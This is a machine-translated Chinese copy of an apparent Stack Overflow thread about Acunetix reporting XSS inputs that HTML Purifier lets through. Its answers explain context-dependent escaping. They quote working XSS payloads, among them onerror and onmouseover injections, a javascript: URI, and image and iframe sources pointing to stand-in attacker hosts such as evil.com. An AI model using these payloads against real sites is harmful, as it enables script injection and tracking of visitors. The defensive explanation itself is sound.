我正在使用Acunetix测试我的一个网络应用程序。为了保护这个项目免受XSS攻击,我使用了HTML Purifier。大多数PHP开发人员为此目的推荐使用此库,但我的扫描结果显示HTML Purifier无法完全保护我们免受XSS攻击。扫描仪通过发送不同的有害输入找到了两种攻击方式:
答案 0 :(得分:1)
<击>
从我给出的简短外观来看,所有HTML净化器似乎都在做HTML编码某些字符,例如<
,>
等等。但是,还有其他方法可以在不使用普通HTML字符的情况下调用JS:
javascript:prompt(1) // In image tags
src="http://evil.com/xss.html" // In iFrame tags
击> <击> 撞击>
请在下面查看评论(@pinkgothic)。
<img>
标记,将src
指向某个不存在的文件,这反过来会引发错误。然后,onerror
处理程序可以处理它以运行一些JavaScript代码。采用以下示例: <img src=x onerror=alert(document.domain)>
它的入口点通常伴随着过早关闭输入上的另一个标签。例如(为清晰起见,URL已解码):
GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1
然而,这可以通过HTML转义元字符轻松减轻(即<
,>
)。
<img src="$USER_DEFINED">
一个正常的例子是:
<img src="http://example.com/img.jpg">
但是,插入上述有效内容后,我们切断 src
属性,该属性指向不存在的文件并注入onerror
处理程序:
<img src="1"onerror=alert(document.domain)">
这执行上面提到的相同的有效载荷。
这是在多个地方进行了大量记录和测试,因此我不会详细介绍。但是,以下两篇文章对这一主题非常了解,并将满足您的所有需求:
答案 1 :(得分:0)
(这是一个较晚的答案,因为该问题已成为重复问题链接到的地方,以前一些重要信息仅在注释中可用。)
HTML Purifier是一种上下文HTML清除器,这就是为什么它似乎在这些任务上失败的原因。
让我们详细了解原因:
1<img sRc='http://attacker-9437/log.php?
您会注意到,HTML Purifier 为您关闭了此标签,仅保留了图像注入。图像是一个完全有效且安全的标签(当然,当前图像库攻击除外)。如果您希望它完全丢弃图像,请考虑通过设置HTML.Allowed来调整HTML Purifier白名单。
示例中的图像现在正在加载属于攻击者的URL,从而为攻击者提供了加载页面的用户的IP(而没有其他任何东西),这是HTML Purifier并非旨在解决的棘手问题解决。也就是说,您可以编写一个HTML Purifier属性检查器,该检查器在纯化之后但在将HTML重新放回之前运行,如下所示:
// a bit of context
$htmlDef = $this->configuration->getHTMLDefinition(true);
$image = $htmlDef->addBlankElement('img');
// HTMLPurifier_AttrTransform_CheckURL is a custom class you've supplied,
// and checks the URL against a white- or blacklist:
$image->attr_transform_post[] = new HTMLPurifier_AttrTransform_CheckURL();
HTMLPurifier_AttrTransform_CheckURL
类将需要具有以下结构:
class HTMLPurifier_AttrTransform_CheckURL extends HTMLPurifier_AttrTransform
{
public function transform($attr, $config, $context) {
$destination = $attr['src'];
if (is_malicious($destination)) {
// ^ is_malicious() is something you'd have to write
$this->confiscateAttr($attr, 'src');
}
return $attr;
}
}
当然,很难做到这一点:
1"onmouseover=vVF3(9185)"
HTML Purifier假定您设置HTML的上下文是<div>
(除非您通过设置HTML.Parent来另外说明)。
如果仅向其提供属性值,它将假定您将其输出到某个地方,因此最终结果如下所示:
...
<div>1"onmouseover=vVF3(9185)"</div>
...
这就是为什么它似乎对此输入没有做任何事情-在这种情况下它是无害的。您甚至可能不想在这种情况下剥离此信息。我的意思是,我们在这里讨论的是stackoverflow上的这段代码,这很有价值(并且不会引起安全问题)。
上下文很重要。现在,如果您改为输入HTML Purifier的 this 片段:
<div class="1"onmouseover=vVF3(9185)"">foo</div>
...突然间您会看到what it's made to do:
<div class="1">foo</div>
现在将其删除,因为在 this 上下文中,它本来是恶意的。
因此,您现在不知道要使用HTML Purifier做什么,以及什么时候使用它是错误的工具。这是一个简短的总结:
htmlspecialchars($input, ENT_QUOTES, 'utf-8')
(或任何编码方式)-这是不必要的开销,并且让一些事情通过htmlspecialchars($input, ENT_QUOTES, 'utf-8')
您可以找到有关根据上下文in this question / answer进行清理/转义的更多信息。